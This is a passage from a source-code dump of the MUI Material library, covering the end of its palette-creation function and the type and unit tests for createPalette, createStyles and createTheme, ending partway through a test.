if (process.env.NODE_ENV !== 'production') {\n    if (!modeHydrated) {\n      console.error(`MUI: The palette mode \\`${mode}\\` is not supported.`);\n    }\n  }\n\n  const paletteOutput = deepmerge(\n    {\n      // A collection of common colors.\n      common: { ...common }, // prevent mutable object.\n      // The palette mode, can be light or dark.\n      mode,\n      // The colors used to represent primary interface elements for a user.\n      primary: augmentColor({ color: primary, name: 'primary' }),\n      // The colors used to represent secondary interface elements for a user.\n      secondary: augmentColor({\n        color: secondary,\n        name: 'secondary',\n        mainShade: 'A400',\n        lightShade: 'A200',\n        darkShade: 'A700',\n      }),\n      // The colors used to represent interface elements that the user should be made aware of.\n      error: augmentColor({ color: error, name: 'error' }),\n      // The colors used to represent potentially dangerous actions or important messages.\n      warning: augmentColor({ color: warning, name: 'warning' }),\n      // The colors used to present information to the user that is neutral and not necessarily important.\n      info: augmentColor({ color: info, name: 'info' }),\n      // The colors used to indicate the successful completion of an action that user triggered.\n      success: augmentColor({ color: success, name: 'success' }),\n      // The grey colors.\n      grey,\n      // Used by `getContrastText()` to maximize the contrast between\n      // the background and the text.\n      contrastThreshold,\n      // Takes a background color and returns the text color that maximizes the contrast.\n      getContrastText,\n      // Generate a rich color object.\n      augmentColor,\n      // Used by the functions below to shift a color's luminance by approximately\n      // two indexes within its tonal palette.\n      // E.g., shift from Red 500 to Red 300 or Red 700.\n      tonalOffset,\n      // The light and dark mode object.\n      ...modeHydrated,\n    },\n    other,\n  );\n\n  return paletteOutput;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createPalette.spec.ts",
    "content": "import { Color } from '@mui/material';\nimport { blue, common } from '@mui/material/colors';\nimport { createTheme, Theme } from '@mui/material/styles';\n\n{\n  const palette = createTheme().palette;\n  const color: Color = blue;\n  const option = { color: { main: blue[400] } };\n\n  palette.augmentColor({ color });\n  palette.augmentColor({ color, lightShade: 400 });\n  palette.augmentColor({ color, lightShade: 400, mainShade: 200, darkShade: 600 });\n  palette.augmentColor({ color, lightShade: 400, mainShade: 600 });\n  palette.augmentColor(option);\n  // @ts-expect-error\n  palette.augmentColor(option, 400);\n}\n\n{\n  const themeCommons: Pick<Theme['palette']['common'], 'black' | 'white'> = common;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createPalette.test.js",
    "content": "import { expect } from 'chai';\nimport { darken, lighten } from '@mui/system/colorManipulator';\nimport { deepOrange, blue, purple, indigo } from '../colors';\nimport createPalette, { dark, light } from './createPalette';\n\ndescribe('createPalette()', () => {\n  it('should create a palette with a rich color object', () => {\n    const palette = createPalette({\n      primary: deepOrange,\n    });\n\n    expect(palette.primary).to.deep.include({\n      light: deepOrange[300],\n      main: deepOrange[500],\n      dark: deepOrange[700],\n      contrastText: dark.text.primary,\n    });\n  });\n\n  it('should create a palette with custom colors', () => {\n    const palette = createPalette({\n      primary: {\n        light: deepOrange[300],\n        main: deepOrange[500],\n        dark: deepOrange[700],\n        contrastText: '#ffffff',\n      },\n    });\n\n    expect(palette.primary.main).to.equal(deepOrange[500]);\n  });\n\n  it('should calculate light and dark colors if not provided', () => {\n    const palette = createPalette({\n      primary: { main: deepOrange[500] },\n    });\n\n    expect(palette.primary).to.deep.include({\n      main: deepOrange[500],\n      light: lighten(deepOrange[500], 0.2),\n      dark: darken(deepOrange[500], 0.3),\n    });\n  });\n\n  it('should calculate light and dark colors using a simple tonalOffset number value', () => {\n    const palette = createPalette({\n      primary: { main: deepOrange[500] },\n      tonalOffset: 0.1,\n    });\n\n    expect(palette.primary).to.deep.include({\n      main: deepOrange[500],\n      light: lighten(deepOrange[500], 0.1),\n      dark: darken(deepOrange[500], 0.15),\n    });\n  });\n\n  it('should calculate light and dark colors using a custom tonalOffset object value', () => {\n    const palette = createPalette({\n      primary: { main: deepOrange[500] },\n      tonalOffset: {\n        light: 0.8,\n        dark: 0.5,\n      },\n    });\n\n    expect(palette.primary).to.deep.include({\n      main: deepOrange[500],\n      light: lighten(deepOrange[500], 0.8),\n      dark: darken(deepOrange[500], 0.5),\n    });\n  });\n\n  it('should calculate contrastText using the provided contrastThreshold', () => {\n    const palette = createPalette({ contrastThreshold: 7 });\n    expect(\n      palette.primary.contrastText,\n      'should use dark.text.primary as the default primary contrastText color',\n    ).to.equal(light.text.primary);\n    expect(\n      palette.secondary.contrastText,\n      'should use dark.text.primary as the default secondary contrastText color',\n    ).to.equal(light.text.primary);\n  });\n\n  it('should create a dark palette', () => {\n    const palette = createPalette({ mode: 'dark' });\n    expect(palette.primary.main, 'should use blue as the default primary color').to.equal(\n      blue[200],\n    );\n    expect(palette.secondary.main, 'should use purple as the default secondary color').to.equal(\n      purple[200],\n    );\n    expect(palette.text, 'should use dark theme text').to.deep.equal(dark.text);\n  });\n\n  it('should create independent object', () => {\n    const palette1 = createPalette({});\n    const palette2 = createPalette({});\n\n    expect(palette1.background.default).to.equal('#fff');\n    expect(palette2.background.default).to.equal('#fff');\n\n    palette1.background.default = '#000';\n\n    expect(palette1.background.default).to.equal('#000');\n    expect(palette2.background.default).to.equal('#fff');\n  });\n\n  describe('augmentColor', () => {\n    const palette = createPalette({});\n\n    it('should accept a color', () => {\n      const color1 = palette.augmentColor({ color: indigo, name: 'primary' });\n      expect(color1).to.deep.include({\n        dark: '#303f9f',\n        light: '#7986cb',\n        main: '#3f51b5',\n        contrastText: '#fff',\n      });\n      const color2 = palette.augmentColor({\n        color: indigo,\n        mainShade: 400,\n        lightShade: 200,\n        darkShade: 600,\n      });\n      expect(color2).to.deep.include({\n        light: '#9fa8da',\n        main: '#5c6bc0',\n        dark: '#3949ab',\n        contrastText: '#fff',\n      });\n    });\n\n    it('should accept a partial palette color', () => {\n      const color = palette.augmentColor({\n        color: {\n          main: indigo[500],\n        },\n      });\n      expect(color).to.deep.include({\n        light: 'rgb(101, 115, 195)',\n        main: '#3f51b5',\n        dark: 'rgb(44, 56, 126)',\n        contrastText: '#fff',\n      });\n    });\n  });\n\n  it('should create a palette with unique object references', () => {\n    const redPalette = createPalette({ background: { paper: 'red' } });\n    const bluePalette = createPalette({ background: { paper: 'blue' } });\n    expect(redPalette).not.to.equal(bluePalette);\n    expect(redPalette.background).not.to.equal(bluePalette.background);\n  });\n\n  describe('warnings', () => {\n    it('throws an exception when an invalid mode is specified', () => {\n      expect(() => {\n        createPalette({ mode: 'foo' });\n      }).toErrorDev('MUI: The palette mode `foo` is not supported');\n    });\n\n    it('throws an exception when a wrong color is provided', () => {\n      expect(() => createPalette({ primary: '#fff' })).toThrowMinified(\n        [\n          'MUI: The color (primary) provided to augmentColor(color) is invalid.',\n          'The color object needs to have a `main` property or a `500` property.',\n        ].join('\\n'),\n      );\n      expect(() => createPalette({ primary: { main: { foo: 'bar' } } })).toThrowMinified(\n        [\n          'MUI: The color (primary) provided to augmentColor(color) is invalid.',\n          '`color.main` should be a string, but `{\"foo\":\"bar\"}` was provided instead.',\n        ].join('\\n'),\n      );\n      expect(() => createPalette({ primary: { main: undefined } })).toThrowMinified(\n        [\n          'MUI: The color (primary) provided to augmentColor(color) is invalid.',\n          '`color.main` should be a string, but `undefined` was provided instead.',\n        ].join('\\n'),\n      );\n    });\n\n    it('logs an error when the contrast ratio does not reach AA', () => {\n      let getContrastText;\n      expect(() => {\n        ({ getContrastText } = createPalette({\n          contrastThreshold: 0,\n        }));\n      }).not.toErrorDev();\n\n      expect(() => {\n        getContrastText('#fefefe');\n      }).toErrorDev('falls below the WCAG recommended absolute minimum contrast ratio of 3:1');\n    });\n  });\n\n  describe('color space', () => {\n    it('should not throw an error when using color space', () => {\n      expect(() => {\n        createPalette({\n          colorSpace: 'oklch',\n          primary: {\n            main: 'oklch(0.5 0.5 0)',\n          },\n        });\n      }).not.toErrorDev();\n    });\n\n    it('should use color-mix when using color space', () => {\n      const palette = createPalette({\n        colorSpace: 'oklch',\n        primary: {\n          main: 'oklch(0.5 0.5 0)',\n        },\n      });\n      expect(palette.primary.main).to.equal('oklch(0.5 0.5 0)');\n      expect(palette.primary.light).to.equal('color-mix(in oklch, oklch(0.5 0.5 0), #fff 20%)');\n      expect(palette.primary.dark).to.equal('color-mix(in oklch, oklch(0.5 0.5 0), #000 30%)');\n    });\n\n    it('should use oklch relative color for contrast text', () => {\n      const palette = createPalette({\n        colorSpace: 'oklch',\n        primary: {\n          main: 'color(display-p3 0.5 0.5 0)',\n        },\n      });\n      expect(palette.primary.contrastText).to.equal(\n        'oklch(from color(display-p3 0.5 0.5 0) var(--__l) 0 h / var(--__a))',\n      );\n      expect(palette.getContrastText('color(display-p3 0.8 0.8 0)')).to.equal(\n        'oklch(from color(display-p3 0.8 0.8 0) var(--__l) 0 h / var(--__a))',\n      );\n    });\n\n    it('should use color-mix with tonal when using color space', () => {\n      const palette = createPalette({\n        colorSpace: 'oklch',\n        tonalOffset: 0.5,\n        primary: {\n          main: 'oklch(0.5 0.5 0)',\n        },\n      });\n      expect(palette.primary.main).to.equal('oklch(0.5 0.5 0)');\n      expect(palette.primary.light).to.equal('color-mix(in oklch, oklch(0.5 0.5 0), #fff 50%)');\n      expect(palette.primary.dark).to.equal('color-mix(in oklch, oklch(0.5 0.5 0), #000 75%)');\n    });\n\n    it('should use color-mix when using color space variable', () => {\n      const palette = createPalette({\n        colorSpace: 'var(--mui-colorSpace)',\n        primary: {\n          main: 'oklch(0.5 0.5 0)',\n        },\n      });\n      expect(palette.primary.main).to.equal('oklch(0.5 0.5 0)');\n      expect(palette.primary.light).to.equal(\n        'color-mix(in var(--mui-colorSpace), oklch(0.5 0.5 0), #fff 20%)',\n      );\n      expect(palette.primary.dark).to.equal(\n        'color-mix(in var(--mui-colorSpace), oklch(0.5 0.5 0), #000 30%)',\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/createStyles.d.ts",
    "content": "export default function createStyles(styles: any): never;\n"
  },
  {
    "path": "packages/mui-material/src/styles/createStyles.js",
    "content": "let warnedOnce = false;\n\n// To remove in v6\nexport default function createStyles(styles) {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: createStyles from @mui/material/styles is deprecated.',\n        'Please use @mui/styles/createStyles',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n  return styles;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTheme.spec.ts",
    "content": "import { createTheme, ThemeOptions } from '@mui/material/styles';\nimport { buttonClasses } from '@mui/material/Button';\n\nconst theme = createTheme();\n\n// MuiCssBaseline overrides\n{\n  createTheme({\n    components: {\n      MuiCssBaseline: {\n        styleOverrides: {\n          'html, body': {\n            color: 'white',\n          },\n        },\n      },\n    },\n  });\n}\n\n// MuiCssBaseline styleOverrides key as a callback\n{\n  createTheme({\n    components: {\n      MuiCssBaseline: {\n        styleOverrides: (themeParam) => `\n          span {\n            background-color: ${themeParam.palette.success.main};\n            color: ${themeParam.palette.error.main};\n          }\n        `,\n      },\n    },\n  });\n}\n\n// theme.typography[variant]\n{\n  createTheme({\n    components: {\n      MuiListItemSecondaryAction: {\n        styleOverrides: {\n          root: {\n            ...theme.typography.body1,\n          },\n        },\n      },\n    },\n  });\n}\n\n// theme.mixins[mixin]\n{\n  createTheme({\n    components: {\n      MuiListItemSecondaryAction: {\n        styleOverrides: {\n          root: {\n            ...theme.mixins.toolbar,\n          },\n        },\n      },\n    },\n  });\n}\n\n{\n  createTheme({\n    components: {\n      MuiPopper: {\n        styleOverrides: {\n          root: {\n            backgroundColor: 'red',\n          },\n        },\n      },\n      MuiFormControlLabel: {\n        styleOverrides: {\n          root: {\n            color: 'black',\n          },\n        },\n      },\n      MuiChip: {\n        styleOverrides: {\n          label: {\n            color: 'black',\n          },\n        },\n      },\n      MuiDivider: {\n        styleOverrides: {\n          root: {\n            color: 'black',\n          },\n        },\n      },\n      MuiTab: {\n        styleOverrides: {\n          root: {\n            color: 'black',\n          },\n        },\n      },\n      MuiBadge: {\n        styleOverrides: {\n          colorInfo: {\n            backgroundColor: '#232323',\n          },\n        },\n      },\n      MuiButton: {\n        styleOverrides: {\n          root: {\n            [`&.${buttonClasses.contained}.${buttonClasses.colorSuccess}`]: {\n              backgroundColor: '#7CFC00',\n            },\n            [`&.${buttonClasses.contained}.${buttonClasses.colorError}`]: {\n              backgroundColor: '#FF4500',\n            },\n            [`&.${buttonClasses.contained}.${buttonClasses.colorInfo}`]: {\n              backgroundColor: '#7B68EE',\n            },\n            [`&.${buttonClasses.contained}.${buttonClasses.colorWarning}`]: {\n              backgroundColor: '#FFD700',\n            },\n            [`&.${buttonClasses.text}.${buttonClasses.colorSuccess}`]: {\n              color: '#7CFC00',\n            },\n            [`&.${buttonClasses.text}.${buttonClasses.colorError}`]: {\n              color: '#FF4500',\n            },\n            [`&.${buttonClasses.text}.${buttonClasses.colorInfo}`]: {\n              color: '#7B68EE',\n            },\n            [`&.${buttonClasses.text}.${buttonClasses.colorWarning}`]: {\n              color: '#FFD700',\n            },\n            [`&.${buttonClasses.outlined}.${buttonClasses.colorSuccess}`]: {\n              color: '#7CFC00',\n            },\n            [`&.${buttonClasses.outlined}.${buttonClasses.colorError}`]: {\n              color: '#FF4500',\n            },\n            [`&.${buttonClasses.outlined}.${buttonClasses.colorInfo}`]: {\n              color: '#7B68EE',\n            },\n            [`&.${buttonClasses.outlined}.${buttonClasses.colorWarning}`]: {\n              color: '#FFD700',\n            },\n          },\n        },\n      },\n      MuiRadioGroup: {\n        styleOverrides: {\n          row: {\n            justifyContent: 'space-between',\n          },\n        },\n      },\n      MuiGrid: {\n        styleOverrides: {\n          root: {\n            justifyContent: 'space-between',\n          },\n          container: {\n            justifyContent: 'space-between',\n          },\n        },\n      },\n    },\n  });\n}\n\n{\n  createTheme(theme, {\n    components: {\n      MuiButton: {\n        variants: [\n          {\n            props: {}, // match any props combination\n            style: ({ theme: t }) => {\n              return {\n                fontFamily: t.typography.fontFamily,\n              };\n            },\n          },\n        ],\n      },\n    },\n  } as ThemeOptions);\n}\n\n{\n  createTheme({\n    components: {\n      MuiButton: {\n        variants: [\n          {\n            props: {}, // match any props combination\n            style: ({ theme: t }) => {\n              return {\n                fontFamily: t.typography.fontFamily,\n              };\n            },\n          },\n        ],\n        styleOverrides: {\n          root: {\n            variants: [\n              {\n                props: { variant: 'contained' },\n                style: {\n                  backdropFilter: 'none',\n                },\n              },\n            ],\n          },\n          endIcon: ({ theme: t }) => ({\n            backgroundColor: t.vars.palette.primary.main,\n            variants: [\n              {\n                props: ({ ownerState }) => ownerState.color === 'primary',\n                style: {},\n              },\n            ],\n          }),\n        },\n      },\n    },\n  });\n}\n\n// props callback in variants\n{\n  createTheme({\n    components: {\n      MuiButton: {\n        variants: [\n          {\n            props: (props) => props.color !== 'secondary',\n            style: ({ theme: { palette } }) => ({\n              backgroundColor: palette.grey[500],\n            }),\n          },\n        ],\n      },\n    },\n  });\n}\n\n{\n  createTheme({\n    shape: {\n      borderRadius: '5px',\n    },\n  });\n}\n\n{\n  createTheme({\n    shape: {\n      borderRadius: 8,\n    },\n  });\n}\n\n// CSS variables for shadow DOM\n{\n  createTheme({\n    cssVariables: {\n      rootSelector: ':host',\n      colorSchemeSelector: 'class',\n    },\n  });\n}\n\n// Invalid variant\n{\n  createTheme({\n    components: {\n      MuiButton: {\n        styleOverrides: {\n          // @ts-expect-error invalid variant\n          root: {\n            variants: [\n              {\n                props: { variant: 'not-a-variant' },\n                style: { border: 0 },\n              },\n            ],\n          },\n        },\n      },\n    },\n  });\n}\n\n{\n  createTheme({\n    components: {\n      MuiTablePaginationActions: {\n        styleOverrides: {\n          root: {\n            color: 'red',\n          },\n        },\n      },\n    },\n  });\n}\n\n{\n  createTheme({\n    components: {\n      mergeClassNameAndStyle: true,\n    },\n  });\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTheme.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, isJsdom, screen } from '@mui/internal-test-utils';\nimport {\n  alpha as systemAlpha,\n  lighten as systemLighten,\n  darken as systemDarken,\n} from '@mui/system/colorManipulator';\nimport Button from '@mui/material/Button';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport { ThemeProvider, createTheme, styled } from '@mui/material/styles';\nimport { deepOrange, green, grey } from '@mui/material/colors';\nimport createPalette from './createPalette';\n\nconst lightPalette = createPalette({ mode: 'light' });\nconst darkPalette = createPalette({ mode: 'dark' });\n\nconst isJSDOM = isJsdom();\n\ndescribe('createTheme', () => {\n  const { render } = createRenderer();\n\n  it('should not create vars if cssVariables: false', () => {\n    const theme = createTheme({ cssVariables: false });\n    expect(theme.cssVariables).to.equal(false);\n    expect('vars' in theme).to.equal(false);\n  });\n\n  it('color schemes dark: true', () => {\n    const theme = createTheme({ cssVariables: false, colorSchemes: { dark: true } });\n    const { light, dark } = theme.colorSchemes;\n    expect(light.palette.primary.main).to.deep.equal(lightPalette.primary.main);\n    expect(dark.palette.primary.main).to.deep.equal(darkPalette.primary.main);\n  });\n\n  it('color schemes light: true', () => {\n    const theme = createTheme({\n      cssVariables: false,\n      colorSchemes: { light: true },\n      palette: { mode: 'dark' },\n    });\n    const { light, dark } = theme.colorSchemes || {};\n    expect(light?.palette.primary.main).to.deep.equal(lightPalette.primary.main);\n    expect(dark?.palette.primary.main).to.deep.equal(darkPalette.primary.main);\n  });\n\n  it('should provide spacing in px', () => {\n    const theme = createTheme({ cssVariables: false });\n    expect(theme.spacing(1)).to.equal('8px');\n  });\n\n  it('should have a palette', () => {\n    const theme = createTheme();\n    expect(typeof createTheme).to.equal('function');\n    expect(typeof theme.palette).to.equal('object');\n  });\n\n  it('should have the custom palette', () => {\n    const theme = createTheme({\n      palette: { primary: { main: deepOrange[500] }, secondary: { main: green.A400 } },\n    });\n    expect(theme.palette.primary.main).to.equal(deepOrange[500]);\n    expect(theme.palette.secondary.main).to.equal(green.A400);\n  });\n\n  it('should be customizable through `colorSchemes` node', () => {\n    const theme = createTheme({\n      colorSchemes: {\n        dark: {\n          palette: {\n            background: {\n              default: grey[900],\n            },\n          },\n        },\n        light: {\n          palette: {\n            background: {\n              default: grey[50],\n            },\n            bg: {\n              main: grey[800],\n              dark: grey[700],\n            },\n          },\n        },\n      },\n    });\n    expect(theme.colorSchemes.dark.palette.background.default).to.equal(grey[900]);\n    expect(theme.colorSchemes.light.palette.background.default).to.equal(grey[50]);\n    expect(theme.colorSchemes.light.palette.bg.main).to.equal(grey[800]);\n    expect(theme.colorSchemes.light.palette.bg.dark).to.equal(grey[700]);\n    expect(theme.palette.mode).to.equal('light');\n    expect(theme.palette.background.default).to.equal(grey[50]);\n  });\n\n  it('should be customizable through `colorSchemes` node with non-existing fields', () => {\n    const theme = createTheme({\n      colorSchemes: {\n        dark: {\n          opacity: {\n            disabled: 0.38,\n          },\n          palette: {\n            gradient: 'linear-gradient(90deg, #000000 0%, #ffffff 100%)',\n          },\n        },\n        light: {\n          opacity: {\n            disabled: 0.5,\n          },\n          palette: {\n            gradient: 'linear-gradient(90deg, #ffffff 0%, #000000 100%)',\n          },\n        },\n      },\n    });\n    expect(theme.colorSchemes.dark.opacity.disabled).to.equal(0.38);\n    expect(theme.colorSchemes.light.opacity.disabled).to.equal(0.5);\n    expect(theme.colorSchemes.dark.palette.gradient).to.equal(\n      'linear-gradient(90deg, #000000 0%, #ffffff 100%)',\n    );\n    expect(theme.colorSchemes.light.palette.gradient).to.equal(\n      'linear-gradient(90deg, #ffffff 0%, #000000 100%)',\n    );\n  });\n\n  it('should work with `palette` and `colorSchemes`', () => {\n    const theme = createTheme({\n      palette: {\n        primary: {\n          main: '#27272a',\n        },\n        background: {\n          default: '#f5f5f5',\n        },\n      },\n      colorSchemes: {\n        dark: true,\n      },\n    });\n    expect(theme.palette.primary.main).to.equal('#27272a');\n    expect(theme.palette.background.default).to.equal('#f5f5f5');\n    expect(theme.colorSchemes.light.palette.primary.main).to.equal('#27272a');\n    expect(theme.colorSchemes.light.palette.background.default).to.equal('#f5f5f5');\n    expect(theme.colorSchemes.dark.palette.primary.main).to.equal(darkPalette.primary.main);\n    expect(theme.colorSchemes.dark.palette.background.default).to.equal(\n      darkPalette.background.default,\n    );\n  });\n\n  it('should work with `palette` and a custom `colorSchemes.dark`', () => {\n    const theme = createTheme({\n      palette: {\n        background: {\n          default: '#f5f5f5',\n        },\n      },\n      colorSchemes: {\n        dark: {\n          palette: {\n            background: {\n              default: 'red',\n            },\n          },\n        },\n      },\n    });\n    expect(theme.palette.background.default).to.equal('#f5f5f5');\n    expect(theme.colorSchemes.light.palette.background.default).to.equal('#f5f5f5');\n    expect(theme.colorSchemes.dark.palette.background.default).to.equal('red');\n  });\n\n  describe('CSS variables', () => {\n    it('should have default light with media selector if no `palette` and colorSchemes.dark is provided', () => {\n      const theme = createTheme({\n        cssVariables: true,\n        colorSchemes: { dark: true },\n      });\n      expect(theme.defaultColorScheme).to.equal('light');\n      expect(theme.colorSchemeSelector).to.equal('media');\n      expect(theme.colorSchemes.light).not.to.equal(undefined);\n      expect(theme.colorSchemes.dark).not.to.equal(undefined);\n    });\n\n    it('should have a light as a default colorScheme if only `palette` is provided', () => {\n      const theme = createTheme({\n        cssVariables: true,\n        palette: { primary: { main: deepOrange[500] } },\n      });\n      expect(theme.defaultColorScheme).to.equal('light');\n      expect(theme.vars.palette.primary.main).to.equal(\n        `var(--mui-palette-primary-main, ${deepOrange[500]})`,\n      );\n    });\n\n    it('should have a dark as a default colorScheme if only `palette` is provided', () => {\n      const theme = createTheme({\n        cssVariables: true,\n        palette: {\n          mode: 'dark',\n          primary: { main: deepOrange[500] },\n        },\n      });\n      expect(theme.defaultColorScheme).to.equal('dark');\n      expect(theme.palette.primary.main).to.equal(deepOrange[500]);\n      expect(theme.vars.palette.primary.main).to.equal(\n        `var(--mui-palette-primary-main, ${deepOrange[500]})`,\n      );\n    });\n\n    it('should have light and dark colorSchemes', () => {\n      const theme = createTheme({\n        cssVariables: true,\n        colorSchemes: { dark: true },\n      });\n      expect(theme.colorSchemes.light).not.to.equal(undefined);\n      expect(theme.colorSchemes.dark).not.to.equal(undefined);\n    });\n\n    it('should not have light if default color scheme is set to dark', () => {\n      const theme = createTheme({\n        cssVariables: true,\n        colorSchemes: { dark: true },\n        defaultColorScheme: 'dark',\n      });\n      expect(theme.colorSchemes.light).to.equal(undefined);\n      expect(theme.colorSchemes.dark).not.to.equal(undefined);\n    });\n\n    it('should be able to customize tonal offset', () => {\n      const theme = createTheme({\n        cssVariables: true,\n        palette: {\n          primary: {\n            main: green[500],\n          },\n          tonalOffset: {\n            light: 0.1,\n            dark: 0.9,\n          },\n        },\n      });\n      expect(theme.palette.primary.main).to.equal('#4caf50');\n    });\n\n    describe('spacing', () => {\n      it('should provide the default spacing', () => {\n        const theme = createTheme({ cssVariables: true });\n        expect(theme.spacing(1)).to.equal(`var(--mui-spacing, 8px)`);\n        expect(theme.spacing(2)).to.equal(`calc(2 * var(--mui-spacing, 8px))`);\n      });\n    });\n\n    describe('spacing array', () => {\n      it('should create spacing vars array', () => {\n        const theme = createTheme({ cssVariables: true, spacing: [0, 4, 8] });\n        expect(theme.vars.spacing).to.deep.equal([\n          'var(--mui-spacing-0, 0px)',\n          'var(--mui-spacing-1, 4px)',\n          'var(--mui-spacing-2, 8px)',\n        ]);\n      });\n\n      it('should work with positive input', () => {\n        const theme = createTheme({ cssVariables: true, spacing: [0, 4, 8] });\n        expect(theme.spacing(1)).to.equal(`var(--mui-spacing-1, 4px)`);\n        expect(theme.spacing(2)).to.equal(`var(--mui-spacing-2, 8px)`);\n      });\n\n      it('should work with negative input', () => {\n        const theme = createTheme({ cssVariables: true, spacing: [0, 4, 8] });\n        expect(theme.spacing(-1)).to.equal(`calc(-1 * var(--mui-spacing-1, 4px))`);\n        expect(theme.spacing(-2)).to.equal(`calc(-1 * var(--mui-spacing-2, 8px))`);\n      });\n    });\n  });\n\n  describe('transitions', () => {\n    it('[`easing`]: should provide the default values', () => {\n      const theme = createTheme();\n      expect(theme.transitions.easing.easeInOut).to.equal('cubic-bezier(0.4, 0, 0.2, 1)');\n      expect(theme.transitions.easing.easeOut).to.equal('cubic-bezier(0.0, 0, 0.2, 1)');\n      expect(theme.transitions.easing.easeIn).to.equal('cubic-bezier(0.4, 0, 1, 1)');\n      expect(theme.transitions.easing.sharp).to.equal('cubic-bezier(0.4, 0, 0.6, 1)');\n    });\n\n    it('[`duration`]: should provide the default values', () => {\n      const theme = createTheme();\n      expect(theme.transitions.duration.shortest).to.equal(150);\n      expect(theme.transitions.duration.shorter).to.equal(200);\n      expect(theme.transitions.duration.short).to.equal(250);\n      expect(theme.transitions.duration.standard).to.equal(300);\n      expect(theme.transitions.duration.complex).to.equal(375);\n      expect(theme.transitions.duration.enteringScreen).to.equal(225);\n      expect(theme.transitions.duration.leavingScreen).to.equal(195);\n    });\n\n    it('[`easing`]: should provide the custom values', () => {\n      const theme = createTheme({\n        transitions: {\n          easing: {\n            easeInOut: 'cubic-bezier(1, 1, 1, 1)',\n            easeOut: 'cubic-bezier(1, 1, 1, 1)',\n            easeIn: 'cubic-bezier(1, 1, 1, 1)',\n            sharp: 'cubic-bezier(1, 1, 1, 1)',\n          },\n        },\n      });\n      expect(theme.transitions.easing.easeInOut).to.equal('cubic-bezier(1, 1, 1, 1)');\n      expect(theme.transitions.easing.easeOut).to.equal('cubic-bezier(1, 1, 1, 1)');\n      expect(theme.transitions.easing.easeIn).to.equal('cubic-bezier(1, 1, 1, 1)');\n      expect(theme.transitions.easing.sharp).to.equal('cubic-bezier(1, 1, 1, 1)');\n    });\n\n    it('[`duration`]: should provide the custom values', () => {\n      const theme = createTheme({\n        transitions: {\n          duration: {\n            shortest: 1,\n            shorter: 1,\n            short: 1,\n            standard: 1,\n            complex: 1,\n            enteringScreen: 1,\n            leavingScreen: 1,\n          },\n        },\n      });\n      expect(theme.transitions.duration.shortest).to.equal(1);\n      expect(theme.transitions.duration.shorter).to.equal(1);\n      expect(theme.transitions.duration.short).to.equal(1);\n      expect(theme.transitions.duration.standard).to.equal(1);\n      expect(theme.transitions.duration.complex).to.equal(1);\n      expect(theme.transitions.duration.enteringScreen).to.equal(1);\n      expect(theme.transitions.duration.leavingScreen).to.equal(1);\n    });\n\n    it('should allow providing a partial structure', () => {\n      const theme = createTheme({ transitions: { duration: { shortest: 150 } } });\n      expect(theme.transitions.duration.shorter).not.to.equal(undefined);\n    });\n  });\n\n  describe('shadows', () => {\n    it('should provide the default array', () => {\n      const theme = createTheme();\n      expect(theme.shadows[2]).to.equal(\n        '0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12)',\n      );\n    });\n\n    it('should override the array as expected', () => {\n      const shadows = [\n        'none',\n        1,\n        1,\n        1,\n        2,\n        3,\n        3,\n        4,\n        5,\n        5,\n        6,\n        6,\n        7,\n        7,\n        7,\n        8,\n        8,\n        8,\n        9,\n        9,\n        10,\n        10,\n        10,\n        11,\n        11,\n      ];\n      const theme = createTheme({ shadows });\n      expect(theme.shadows).to.equal(shadows);\n    });\n  });\n\n  describe('components', () => {\n    it('should have the components as expected', () => {\n      const components = {\n        MuiDialog: {\n          defaultProps: {\n            fullScreen: true,\n            fullWidth: false,\n          },\n        },\n        MuiButtonBase: {\n          defaultProps: {\n            disableRipple: true,\n          },\n        },\n        MuiPopover: {\n          defaultProps: {\n            container: document.createElement('div'),\n          },\n        },\n      };\n      const theme = createTheme({ components });\n      expect(theme.components).to.deep.equal(components);\n    });\n  });\n\n  describe('styleOverrides', () => {\n    it('should warn when trying to override an internal state the wrong way', () => {\n      let theme;\n\n      expect(() => {\n        theme = createTheme({\n          components: { Button: { styleOverrides: { disabled: { color: 'blue' } } } },\n        });\n      }).not.toErrorDev();\n      expect(Object.keys(theme.components.Button.styleOverrides.disabled).length).to.equal(1);\n\n      expect(() => {\n        theme = createTheme({\n          components: { MuiButton: { styleOverrides: { root: { color: 'blue' } } } },\n        });\n      }).not.toErrorDev();\n\n      expect(() => {\n        theme = createTheme({\n          components: { MuiButton: { styleOverrides: { disabled: { color: 'blue' } } } },\n        });\n      }).toErrorDev(\n        'MUI: The `MuiButton` component increases the CSS specificity of the `disabled` internal state.',\n      );\n      expect(Object.keys(theme.components.MuiButton.styleOverrides.disabled).length).to.equal(0);\n    });\n  });\n\n  it('shallow merges multiple arguments', () => {\n    const theme = createTheme({ foo: 'I am foo' }, { bar: 'I am bar' });\n    expect(theme.foo).to.equal('I am foo');\n    expect(theme.bar).to.equal('I am bar');\n  });\n\n  it('deep merges multiple arguments', () => {\n    const theme = createTheme({ custom: { foo: 'I am foo' } }, { custom: { bar: 'I am bar' } });\n    expect(theme.custom.foo).to.equal('I am foo');\n    expect(theme.custom.bar).to.equal('I am bar');\n  });\n\n  it('allows callbacks using theme in variants', () => {\n    const theme = createTheme({\n      typography: {\n        fontFamily: 'cursive',\n      },\n      components: {\n        MuiButton: {\n          variants: [\n            {\n              props: {}, // match any props combination\n              style: ({ theme: t }) => {\n                return {\n                  fontFamily: t.typography.fontFamily,\n                };\n              },\n            },\n          ],\n        },\n      },\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Button />\n      </ThemeProvider>,\n    );\n    expect(container.firstChild).toHaveComputedStyle({ fontFamily: 'cursive' });\n  });\n\n  it.skipIf(isJSDOM)(\n    'should apply the correct borderRadius styles via sx prop if theme values are 0',\n    function test() {\n      const theme = createTheme({\n        shape: {\n          borderRadius: 0,\n        },\n      });\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Box sx={{ width: '2rem', height: '2rem', borderRadius: 4 }} />\n        </ThemeProvider>,\n      );\n\n      